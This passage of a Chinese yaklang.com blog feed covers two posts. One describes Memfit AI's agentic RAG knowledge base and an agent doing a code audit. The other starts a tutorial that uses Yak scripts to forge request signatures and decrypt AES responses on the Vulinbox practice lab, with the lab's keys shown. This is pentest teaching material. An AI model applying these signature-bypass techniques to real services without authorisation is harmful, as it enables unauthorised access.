style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    prompt </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">`你是⼀个精通信息检索的AI助⼿。</span><br></span><span class="token-line" style="color:#393A34"><span class="token string" style="color:#e3116c">根据⽤户提出的【问题】，精准地提炼出其核⼼概念，</span><br></span><span class="token-line" style="color:#393A34"><span class="token string" style="color:#e3116c">并⽣成⼀段信息密度极⾼的"理想答案摘要"。</span><br></span><span class="token-line" style="color:#393A34"><span class="token string" style="color:#e3116c">严格控制在100字以内。`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// ...</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    result</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> aicommon</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">InvokeLiteForge</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">inputPrompt</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">...</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    document_paragraph </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> result</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetString</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"hypothetical_answer"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> document_paragraph</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>这段假设回答会被向量化，然后用它的向量去搜索真实的文档——这个技巧来自学术界的 HyDE 方法，在实践中对提升召回率非常有效。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="ai-重排与精炼">AI 重排与精炼<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#ai-%E9%87%8D%E6%8E%92%E4%B8%8E%E7%B2%BE%E7%82%BC" class="hash-link" aria-label="AI 重排与精炼的直接链接" title="AI 重排与精炼的直接链接" translate="no">​</a></h3>
<p>五种策略并行执行后，会产生大量的候选结果，其中不可避免地存在重复和噪音。这时候需要两道"精炼"工序：</p>
<p><strong>第一道：RRF 重排（Reciprocal Rank Fusion）</strong></p>
<p>每个搜索策略会对自己的结果集按相关度排序。RRF 算法将不同策略的排名信息融合成一个统一的分数，核心公式是：</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">$$RRF(d) = \sum_{i=1}^{n} \frac{1}{k + rank_i(d)}$$</span><br></span></code></pre></div></div>
<p>其中 $k$ 是一个平滑常数（Memfit 默认设为 60），$rank_i(d)$ 是文档 $d$ 在第 $i$ 个策略中的排名。如果一个文档在多个策略中都排名靠前，它的 RRF 分数就会很高。实现代码很简洁：</p>
<div class="language-go codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-go codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">funcRRFRank</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">TRRFScoredData</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">scoredDataList </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">T</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> k </span><span class="token builtin">int</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">T </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// 按搜索⽅法分组，计算每个⽂档在各⽅法中的排名</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// 然后对每个⽂档求 RRF 累加分</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// 最后按 RRF 分数降序排列</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>RRF 的好处是它不依赖原始分数的绝对值，只看排名——因此可以安全地融合来自不同评分体系的结果。</p>
<p><strong>第二道：AI 摘要精炼</strong></p>
<p>RRF 排序后取 Top-K 个结果，如果启用了 EnableAISummary，系统会将这些结果汇总送给 AI，生成一份精炼的回答。AI 的工作指令很明确：</p>
<blockquote>
<p>仅基于知识库条目的内容回答用户问题，不要引入外部知识或主观推断；若无法从条目中得到答案，请直接回复"未在知识库中找到相关信息"。</p>
</blockquote>
<p>这确保了最终回答严格基于知识库内容，不会混入大模型的"幻觉"。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="agentic-自我调整与多轮迭代">Agentic 自我调整与多轮迭代<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#agentic-%E8%87%AA%E6%88%91%E8%B0%83%E6%95%B4%E4%B8%8E%E5%A4%9A%E8%BD%AE%E8%BF%AD%E4%BB%A3" class="hash-link" aria-label="Agentic 自我调整与多轮迭代的直接链接" title="Agentic 自我调整与多轮迭代的直接链接" translate="no">​</a></h3>
<p>到这里，我们已经讲清楚了单次查询的完整流程。那么 Agentic RAG 的"多轮搜索"又是怎么实现的？</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/372a1d8c930e8713-dc0e8f3127c4f75db831a943eca4fc7f.png" width="537" height="2124" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<p>核心机制可以拆解为三个环节：</p>
<p><strong>01 搜索计划制定。</strong></p>
<p>Agent 收到一个需要知识支撑的问题后，首先分析问题涉及哪些知识维度。比如"Java 安全审计的完整流程"可能涉及漏洞分类、测试方法、工具使用、报告规范等多个方面。Agent 会据此决定第一轮搜索的查询内容。</p>
<p><strong>02 结果评估与调整。</strong></p>
<p>每轮搜索完成后，Agent 会评估已有结果是否足以回答用户的问题。如果发现某个维度的信息缺失——比如搜到了漏洞分类和测试方法，但没有搜到报告规范相关的内容——Agent 会调整下一轮的查询，专门补充这个缺口。</p>
<p><strong>03 多轮结果合并。</strong></p>
<p>所有搜索轮次完成后（或者 Agent 判断信息已经充分），系统将多轮结果进行去重（同一个知识片段可能在不同轮次中被多次命中）、合并（相关度高的片段聚合在一起），最终生成一份结构化的回答。</p>
<p>这个过程和真人查阅资料的行为模式非常相似：先快速浏览一遍，发现某个方面的内容不够，再针对性地深入查找。区别在于 Agent 可以在几秒钟内完成这个迭代，而人类可能需要翻半天文档。</p>
<p>当然，这里有一个工程上的平衡问题。搜索轮次越多，召回的信息越全面，但耗时也越长。我们暂时设定了 3 到 5 轮的上限，在大多数场景下这个范围足够覆盖一个综合性问题的各个维度。后续我们会根据实际使用数据持续调优这个参数。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="agent干活的时候也可以查资料吗">Agent干活的时候也可以查资料吗？<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#agent%E5%B9%B2%E6%B4%BB%E7%9A%84%E6%97%B6%E5%80%99%E4%B9%9F%E5%8F%AF%E4%BB%A5%E6%9F%A5%E8%B5%84%E6%96%99%E5%90%97" class="hash-link" aria-label="Agent干活的时候也可以查资料吗？的直接链接" title="Agent干活的时候也可以查资料吗？的直接链接" translate="no">​</a></h2>
<p>前面我们演示了在知识库界面中查询和在对话中 @ 知识库的场景。但这些都还停留在"问答"层面——用户主动提问，系统被动回答。</p>
<p>那么，真正的生产场景呢？</p>
<p>如果我们给 Agent 下达一个具体的任务——比如"对一个 Java SpringBoot2 项目进行代码审计"——Agent 在执行过程中能不能自己去翻阅知识库里的安全规范？</p>
<p>我们来试一下。在 Memfit AI 的对话框中输入任务指令，同时通过 @ 符号挂载上刚才创建的知识库：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/5ba7c58a251ac388-15197f9e18a3a6d45e9b7330f50e0f15.png" width="1048" height="682" class="yakdoc-image"></button></p>
<p>注意看这个操作：我们告诉 Agent "进行代码审计"，并且指定使用 @我的知识库 中的内容来辅助审计过程。Agent 接到指令后，会将知识库作为自己的"参考资料"带入整个任务执行链路。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="先查知识再规划任务">先查知识，再规划任务<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#%E5%85%88%E6%9F%A5%E7%9F%A5%E8%AF%86%E5%86%8D%E8%A7%84%E5%88%92%E4%BB%BB%E5%8A%A1" class="hash-link" aria-label="先查知识，再规划任务的直接链接" title="先查知识，再规划任务的直接链接" translate="no">​</a></h3>
<p>Agent 启动任务后，做的第一件事很有意思——它没有直接开始扫描代码，而是先去知识库里查了一轮资料。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/77065ae0920d5926-182251f209fd1a543023d463f52af58f.png" width="1080" height="628" class="yakdoc-image"></button></p>
<p>从执行日志中可以看到，Agent 在规划阶段就触发了知识库搜索。它从 GB/T 34944 中检索到了 Java 代码审计需要关注的漏洞类型和测试方法，然后<strong>基于这些知识来制定任务计划</strong>。</p>
<p>这个顺序值得留意：先查资料，再定方案。这和一个有经验的安全工程师接到审计任务时的行为模式完全一致——拿到项目之后，先翻一遍安全规范，搞清楚要审什么、按什么标准审，然后才开始动手。</p>
<p>更值得关注的是，执行过程中我们看到了上一篇文章中介绍过的动态任务规划能力。Agent 在查阅知识库之后，根据检索到的安全规范条目，<strong>主动修改了自己的任务列表</strong>——把原本比较笼统的"代码审计"拆分成了更具体的子任务，比如针对 SQL 注入的检测、针对 XSS 的检测、针对日志安全的检测等等。每个子任务的目标和方法都贴合了知识库中的规范要求。</p>
<p>这就是知识库和 Agent 深度融合之后产生的化学反应：知识库的内容直接影响了 Agent 的行为决策，Agent 的任务规划会随着知识的注入而变得更加精准和有针对性。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="执行结果">执行结果<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#%E6%89%A7%E8%A1%8C%E7%BB%93%E6%9E%9C" class="hash-link" aria-label="执行结果的直接链接" title="执行结果的直接链接" translate="no">​</a></h3>
<p>当然我们毫不意外的可以收获一些漏洞：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/519e4a3be98581b5-5d822978afa8309fac903e1f545c5ee5.png" width="1080" height="827" class="yakdoc-image"></button></p>
<p>当我们等待系统执行完毕，可以看到如下内容：</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/db760d2f8aeefe25-a755055046034df77d374578b2a9cb82.png" width="1080" height="9152" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<p>这个流程和前面"在对话中 @ 知识库问问题"的场景有本质区别。对话中的查询是一次性的，Agent 问完就结束了；而在任务执行中，知识库被反复调用，贯穿了规划、执行、判定、报告的全过程。</p>
<p>Agent 真正把知识库当成了自己随身携带的"参考手册"——需要的时候翻一下，不需要的时候放在一边，但始终带在身上。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="回顾">回顾<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#%E5%9B%9E%E9%A1%BE" class="hash-link" aria-label="回顾的直接链接" title="回顾的直接链接" translate="no">​</a></h2>
<p>我们在本文中完成了四件事：</p>
<p><strong>第一，从操作层面走通了整个流程。</strong></p>
<p>从进入知识库界面、创建知识库、选择构建模式、导入 PDF 文档，到查看知识图谱、执行查询验证——这些步骤在 Memfit AI 中都可以在几分钟内完成。</p>
<p><strong>第二，展示了 Agentic RAG 的实际效果。</strong></p>
<p>通过对 GB/T 34944 的查询测试，我们看到了 Agent 如何自主地多轮搜索、逐步完善答案。这种能力在处理综合性问题时尤为明显——单轮搜索拿不到的信息，多轮迭代后往往可以覆盖到。</p>
<p><strong>第三，在真实的生产任务中验证了知识库与 Agent 的协作。</strong></p>
<p>代码审计任务的执行过程表明，Agent 会在规划阶段主动查阅知识库，根据检索到的安全规范调整任务计划，并在整个执行链路中持续引用知识库内容来辅助判定。知识库对 Agent 的影响贯穿了从规划到输出的全过程。</p>
<p><strong>第四，深入了底层实现。</strong></p>
<p>从问题索引构建到五策略并行搜索，从 RRF 重排到 AI 摘要精炼，再到 Agentic 多轮迭代——整条链路的设计目标很一致：让知识库成为 Agent 的有机组成部分，让"查知识"变成一个主动的、可迭代的、有策略的过程。</p>
<p>Memfit AI 的知识库系统目前已经在产品中上线。如果你有兴趣体验，可以直接访问 <a href="https://memfit.ai/" target="_blank" rel="noopener noreferrer" class="">https://memfit.ai/</a> 下载 Memfit AI。内测推广阶段不收取任何 Token 费用，当然也支持配置你自己的 AI APIKEY 使用。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="memfit-记得住的知识库看得见的行动力">memfit:: 记得住的知识库，看得见的行动力<a href="https://yaklang.com/blog/memfit-knowledge-base-and-agentic-rag#memfit-%E8%AE%B0%E5%BE%97%E4%BD%8F%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%9C%8B%E5%BE%97%E8%A7%81%E7%9A%84%E8%A1%8C%E5%8A%A8%E5%8A%9B" class="hash-link" aria-label="memfit:: 记得住的知识库，看得见的行动力的直接链接" title="memfit:: 记得住的知识库，看得见的行动力的直接链接" translate="no">​</a></h2>
<p>在接下来的文章中，我们会为大家介绍 Memfit AI 的更多高级能力——包括技能系统（Skills）的定制、多 Agent 协作，以及如何将知识库应用到实际的安全审计工作流中。</p>
<hr>
<blockquote>
<p>本文首发于 Yak Project 公众号，<a href="https://mp.weixin.qq.com/s/JMgka77k2OOrWsShDckseQ" target="_blank" rel="noopener noreferrer" class="">阅读原文</a>。</p>
</blockquote>]]></content:encoded>
            <category>2026 年</category>
            <category>AI</category>
        </item>
        <item>
            <title><![CDATA[工程实践：全局热加载自动接管前端加密与动态签名流程]]></title>
            <link>https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload</link>
            <guid>https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload</guid>
            <pubDate>Wed, 18 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[本文以 Vulinbox 动态挑战响应接口为例，演示如何用 Yak 全局热加载统一接管 challenge 获取、nonce 解码、请求签名和响应解密，并复用于 MITM 与 Web Fuzzer。]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>在前端加密、动态签名、一次性 challenge 这类场景里，单纯“会不会发包”其实不是重点。真正麻烦的是，测试链路里往往多出一段必须自动完成的前置或后置逻辑，例如：</p>
<p>01 发起真正业务请求之前，先去拿一段 challenge</p>
<p>02 把 challenge 解开，得到 nonce</p>
<p>03 用 nonce 计算签名，再把签名补到请求头里</p>
<p>04 请求成功之后，返回值本身还是密文，还要再解一遍</p>
<p>如果只是偶尔测试一次，这些动作手工做也不是不行。但一旦要开始反复调试、批量发包、联动 MITM 和 Web Fuzzer，这套流程如果没有一层统一能力接管，就会很快变得难用。</p>
<p>在这篇文章里，我们不去讨论太多架构层面的设计，而是直接拿 Vulinbox 里的一个动态挑战响应接口做演示，看看如何把这条链路真正挂到 Yak 的全局热加载中，让用户在 Web Fuzzer 和 MITM 里都能直接受益。</p>
</blockquote>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="先从简单加解密靶场开始">先从简单加解密靶场开始<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#%E5%85%88%E4%BB%8E%E7%AE%80%E5%8D%95%E5%8A%A0%E8%A7%A3%E5%AF%86%E9%9D%B6%E5%9C%BA%E5%BC%80%E5%A7%8B" class="hash-link" aria-label="先从简单加解密靶场开始的直接链接" title="先从简单加解密靶场开始的直接链接" translate="no">​</a></h2>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="启动靶场">启动靶场<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#%E5%90%AF%E5%8A%A8%E9%9D%B6%E5%9C%BA" class="hash-link" aria-label="启动靶场的直接链接" title="启动靶场的直接链接" translate="no">​</a></h2>
<p><strong>在开始之前，先启动</strong> Vulinbox。启动之后，可以访问：<a href="http://127.0.0.1:18080/" target="_blank" rel="noopener noreferrer" class="">http://127.0.0.1:18080/</a> ，如下：</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/70c5fb0980c2c6e7-1e2728eca9ffaef8ee6b57bf03a4c6f8.png" width="948" height="1184" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<p>本文会用到以下几个入口：</p>
<p>1、靶场说明页：</p>
<p><code>http://127.0.0.1:18080/crypto/challenge-api-docs</code></p>
<p>2、获取 challenge：</p>
<p><code>http://127.0.0.1:18080/api/get-challenge</code></p>
<p>3、受保护接口：</p>
<p><code>http://127.0.0.1:18080/api/user/info</code></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="场景说明">场景说明<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#%E5%9C%BA%E6%99%AF%E8%AF%B4%E6%98%8E" class="hash-link" aria-label="场景说明的直接链接" title="场景说明的直接链接" translate="no">​</a></h2>
<p>这次使用的靶场不是“固定 AES Key 然后简单改包”的例子，而是一个更接近实际业务的动态 challenge 接口。</p>
<p>它的交互顺序如下：</p>
<p>1、请求 <code>/api/get-challenge</code>，服务端返回一段加密后的 challenge。、</p>
<p>2、客户端解密 challenge，得到 nonce。</p>
<p>3、使用 nonce 和约定的 HMAC Key 计算签名。</p>
<p>4、请求 <code>/api/user/info</code> 时，把签名写入 <code>X-Auth-Signature</code>。</p>
<p>5、服务端校验通过后，返回的业务数据依然是 AES-CBC 加密后的内容。</p>
<p>换句话说，这里至少包含两段“测试前后必须先执行的逻辑”：</p>
<p>1、请求前的自动补签名。</p>
<p>2、响应后的自动解密。</p>
<p>这也正是全局热加载最适合切入的地方。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="清理流程">清理流程<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#%E6%B8%85%E7%90%86%E6%B5%81%E7%A8%8B" class="hash-link" aria-label="清理流程的直接链接" title="清理流程的直接链接" translate="no">​</a></h2>
<p>在自动化之前，最好先把这条链路“手工拆开”验证一次。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="1先从-apiget-challenge-获取">1、先从 <code>api/get-challenge</code> 获取<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#1%E5%85%88%E4%BB%8E-apiget-challenge-%E8%8E%B7%E5%8F%96" class="hash-link" aria-label="1先从-apiget-challenge-获取的直接链接" title="1先从-apiget-challenge-获取的直接链接" translate="no">​</a></h3>
<div class="language-css codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-css codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token selector" style="color:#00009f">HTTP/1</span><span class="token selector class" style="color:#00009f">.1</span><span class="token selector" style="color:#00009f"> 200 OK</span><br></span><span class="token-line" style="color:#393A34"><span class="token selector" style="color:#00009f">Content-Type: application/json</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">{</span><span class="token string" style="color:#e3116c">"challenge"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"ifIYn2ChP6pOaedUtwRg8urjclJJazl2N8eSrcEUo1OZz7+AT+9ERWnJVGxtdQUU"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token string" style="color:#e3116c">"iv"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"tYJG4EX4pOICNfXbAT2lkg=="</span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>针对上面这个响应包，我们可以先写一个专门计算签名的函数：</p>
<div class="language-nginx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-nginx codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">API_AES_KEY = "YakitVulinboxAES"</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">API_SIGN_KEY = "YakitVulinboxHMACKey-SIGNATURE"</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">signChallengeResponse = func(packet) {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    body = poc.GetHTTPPacketBody(packet)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    params = json.loads(body)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    challengeBytes = codec.DecodeBase64(params.challenge)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ivBytes = codec.DecodeBase64(params.iv)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    nonce = codec.AESCBCDecrypt(API_AES_KEY, challengeBytes, ivBytes)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    return codec.EncodeToHex(codec.HmacSha256(API_SIGN_KEY, nonce))</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">}</span><br></span></code></pre></div></div>
<p>这段代码本身并不发请求，它只做一件事：把 challenge 响应中的密文解开，然后生成真正需要放进请求头里的签名。</p>
<p>你可以直接在 YAK Runner 这样生成它：</p>
<div class="language-cs codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cs codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">API_AES_KEY = "YakitVulinboxAES"</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">API_SIGN_KEY = "YakitVulinboxHMACKey-SIGNATURE"</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">signChallengeResponse = func(packet) {</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    body = poc.GetHTTPPacketBody(packet)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    params = json.loads(body)</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    challengeBytes = codec.DecodeBase64(params.challenge)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ivBytes = codec.DecodeBase64(params.iv)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    nonce = codec.AESCBCDecrypt(API_AES_KEY, challengeBytes, ivBytes)~</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    return codec.EncodeToHex(codec.HmacSha256(API_SIGN_KEY, nonce))</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">challengePacket = &lt;&lt;&lt;TEXT</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">HTTP/1.1 200 OK</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Content-Type: application/json</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">{"challenge":"ifIYn2ChP6pOaedUtwRg8urjclJJazl2N8eSrcEUo1OZz7+AT+9ERWnJVGxtdQUU","iv":"tYJG4EX4pOICNfXbAT2lkg=="}</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">TEXT</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">println(signChallengeResponse(challengePacket))</span><br></span></code></pre></div></div>
<p>执行之后，你会得到一段十六进制签名：</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">c9f36e99b46389cefc289002c02f88548403de96d0facf8a6cc99d1ded27f632</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="2把签名手工填回-http-raw-里发请求">2、把签名手工填回 HTTP Raw 里发请求<a href="https://yaklang.com/blog/auto-handle-frontend-encryption-with-global-hot-reload#2%E6%8A%8A%E7%AD%BE%E5%90%8D%E6%89%8B%E5%B7%A5%E5%A1%AB%E5%9B%9E-http-raw-%E9%87%8C%E5%8F%91%E8%AF%B7%E6%B1%82" class="hash-link" aria-label="2、把签名手工填回 HTTP Raw 里发请求的直接链接" title="2、把签名手工填回 HTTP Raw 里发请求的直接链接" translate="no">​</a></h3>
<p>拿到签名之后，可以把上一步的签名填进下面这个请求：</p>
<div class="language-apache codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-apache codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">GET /api/user/info HTTP/1.1</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Host: 127.0.0.1:18080</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">X-Auth-Signature: c9f36e99b46389cefc289002c02f88548403de96d0facf8a6cc99d1ded27f632</span><br></span></code></pre></div></div>
<p>发送之后，你会拿到一段新的密文响应。格式大致如下：</p>
<div class="language-css codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-css codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token selector" style="color:#00009f">HTTP/1</span><span class="token selector class" style="color:#00009f">.1</span><span class="token selector" style="color:#00009f"> 200 OK</span><br></span><span class="token-line" style="color:#393A34"><span class="token selector" style="color:#00009f">Content-Type: application/json</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">{</span><span class="token string" style="color:#e3116c">"data"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"xLZ8ri0BmAqw72zNycPmzSQ1qkJ+QVASKyqy6j/D7rLjRyBwT/Tpn5BJCjLfEMVEReS9iglSFzikuQvL1q+NSwiMCHHWFRyybPyq9oUXd+xR/1xFIxCCoNM8Ud5JG+3HDlW8lJZ4Yo9dM9snojIf3Ks+dHl8kBTD8ePARUllTJ9MwXst/33X23acG27BtPJycvn/bptDTfqKyknPLdIQYwM0ozrteuCTGcjLWH0DtnH2CW8D46PuMtpgXKd9HyRhcBIu+uuY5Z+vSTPe48TwARuhX9FUG/F/odywOW5EalA="</span><span class="token punctuation" style="color:#393A34">,</span><span class="token string" style="color:#e3116c">"iv"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"4DqWSC1nHDF9AX183lb1DQ=="</span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
